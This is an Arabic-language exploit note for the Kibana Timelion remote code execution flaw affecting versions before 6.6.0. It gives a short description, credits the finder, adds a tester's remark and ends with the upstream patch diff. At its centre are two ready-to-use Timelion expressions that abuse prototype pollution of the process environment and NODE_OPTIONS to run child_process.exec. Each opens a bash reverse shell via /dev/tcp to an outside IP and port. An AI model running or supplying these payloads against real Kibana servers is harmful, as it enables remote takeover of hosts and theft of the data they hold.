
ثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE) في إصدارات Kibana قبل 5.6.15 و6.6.0 في عارض Timelion
إصدارات Kibana قبل 5.6.15 و6.6.1 تحتوي على ثغرة تنفيذ تعليمات برمجية عشوائية في أداة التصور Timelion. يمكن لمهاجم لديه إمكانية الوصول إلى تطبيق Timelion إرسال طلب يحاول تنفيذ كود جافاسكربت. قد يؤدي هذا إلى قيام المهاجم بتنفيذ أوامر عشوائية بصلاحيات عملية Kibana على النظام المضيف.
اكتشفها @securityMB
ملاحظة: لقد اختبرت هذا الهجوم على Kibana 6.6.0 لكنه لم يعمل... من جهتي فقط إصدارات Kibana < 6.6.0 هي القابلة للاستغلال كما أوضح @securityMB
تعديل 20/12/2019: إذا لم تكن لوحة Canvas متاحة، فقط راجع هذا التقرير من @Synacktiv https://www.synacktiv.com/posts/pentest/pwning-an-outdated-kibana-with-not-so-sad-vulnerabilities.html

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \'bash -i>& /dev/tcp/127.0.0.1/6666 0>&1\'");//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
تحليل تفصيلي (بالإنجليزية):
نشرة أمان:
https://github.com/elastic/kibana/commit/3377f813a5d96ff466bdf7343ce161de24830ed4.patch
From 3377f813a5d96ff466bdf7343ce161de24830ed4 Mon Sep 17 00:00:00 2001
From: ppisljar <[email protected]>
Date: Wed, 16 Jan 2019 06:01:20 -0800
Subject: [PATCH] fixes
---
.../core_plugins/timelion/server/series_functions/props.js | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/src/legacy/core_plugins/timelion/server/series_functions/props.js b/src/legacy/core_plugins/timelion/server/series_functions/props.js
index 81b74901d4db..80e9cafd6712 100644
--- a/src/legacy/core_plugins/timelion/server/series_functions/props.js
+++ b/src/legacy/core_plugins/timelion/server/series_functions/props.js
@@ -32,7 +32,7 @@ function unflatten(data) {
let prop = '';
let m;
while (m = regex.exec(p)) {
- cur = cur[prop] || (cur[prop] = (m[2] ? [] : {}));
+ cur = (cur.hasOwnProperty(prop) && cur[prop]) || (cur[prop] = (m[2] ? [] : {}));
prop = m[2] || m[1];
}
cur[prop] = data[p];